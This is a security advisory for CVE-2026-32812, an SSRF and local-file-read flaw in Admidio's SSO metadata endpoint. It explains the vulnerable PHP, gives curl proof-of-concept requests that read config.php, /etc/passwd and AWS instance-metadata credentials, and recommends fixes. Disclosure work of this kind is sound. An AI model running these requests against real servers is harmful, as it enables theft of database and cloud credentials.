PT-2026-25864 · Packagist · Admidio/Admidio

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-32812

CVSS v3.1
6.8
VectorAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary

The SSO metadata fetch endpoint at
modules/sso/fetch metadata.php
accepts an arbitrary URL via
$ GET['url']
, validates it only with PHP's
FILTER VALIDATE URL
, and passes it directly to
file get contents()
.
FILTER VALIDATE URL
accepts
file://
,
http://
,
ftp://
,
data://
, and
php://
scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the
file://
wrapper (Local File Read), reach internal services via
http://
(SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File:
D:/bugcrowd/admidio/repo/modules/sso/fetch metadata.php
, lines 9-34
$url = filter var($ GET['url'], FILTER VALIDATE URL);
if (!$url) {
  http response code(400);
  echo "Invalid URL";
  exit;
}

// Fetch metadata from external server
$metadata = file get contents($url);
if ($metadata === false) {
  http response code(500);
  echo "Failed to fetch metadata";
  exit;
}

echo $metadata;

FILTER VALIDATE URL Does Not Block Dangerous Schemes

PHP's
FILTER VALIDATE URL
is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by
file get contents()
:
SchemeImpact
file:///etc/passwd
Read any local file the web server process can access
http://127.0.0.1/
SSRF to localhost services (databases, admin panels, internal APIs)
http://169.254.169.254/latest/meta-data/
AWS EC2 instance metadata (IAM credentials)
data://text/plain,payload
Data URI content injection
Confirmed by testing PHP's filter var() and file get contents() with all of the above:
php -r "var dump(filter var('file:///etc/passwd', FILTER VALIDATE URL));"
// string(18) "file:///etc/passwd" <-- passes validation

php -r "echo file get contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash <-- file contents returned

file:// Does Not Require allow url fopen

PHP's
file://
stream wrapper is the native filesystem handler and is always available regardless of the
allow url fopen
INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (
echo $metadata
), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/adm program/modules/sso/fetch metadata.php" 
 -H "Cookie: ADMIDIO SESSION ID=<admin session>" 
 --data-urlencode "url=file:///var/www/html/adm my files/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/adm program/modules/sso/fetch metadata.php" 
 -H "Cookie: ADMIDIO SESSION ID=<admin session>" 
 --data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/adm program/modules/sso/fetch metadata.php" 
 -H "Cookie: ADMIDIO SESSION ID=<admin session>" 
 --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/adm program/modules/sso/fetch metadata.php" 
 -H "Cookie: ADMIDIO SESSION ID=<admin session>" 
 --data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)

Impact

  • Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's
    config.php
    (database credentials),
    /etc/passwd
    , private keys stored in the web root, and
    .env
    files.
  • Database Credential Theft: Reading
    config.php
    exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
  • Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
  • Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
  • Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $ GET['url'] ?? '';

// Only allow https:// scheme
if (!preg match('#^https://#i', $rawUrl)) {
  http response code(400);
  echo "Only HTTPS URLs are permitted";
  exit;
}

$url = filter var($rawUrl, FILTER VALIDATE URL);
if (!$url) {
  http response code(400);
  echo "Invalid URL";
  exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse url($url, PHP URL HOST);
$ip = gethostbyname($host);
if (filter var($ip, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE) === false) {
  http response code(400);
  echo "URL resolves to a private or reserved IP address";
  exit;
}

$metadata = file get contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl init($url);
curl setopt($ch, CURLOPT RETURNTRANSFER, true);
curl setopt($ch, CURLOPT PROTOCOLS, CURLPROTO HTTPS);
curl setopt($ch, CURLOPT REDIR PROTOCOLS, CURLPROTO HTTPS);
curl setopt($ch, CURLOPT FOLLOWLOCATION, false);
curl setopt($ch, CURLOPT TIMEOUT, 10);
$metadata = curl exec($ch);
curl close($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

Fix

SSRF

Weakness Enumeration

Related Identifiers

CVE-2026-32812
GHSA-6J68-GCC3-MQ73

Affected Products

Admidio/Admidio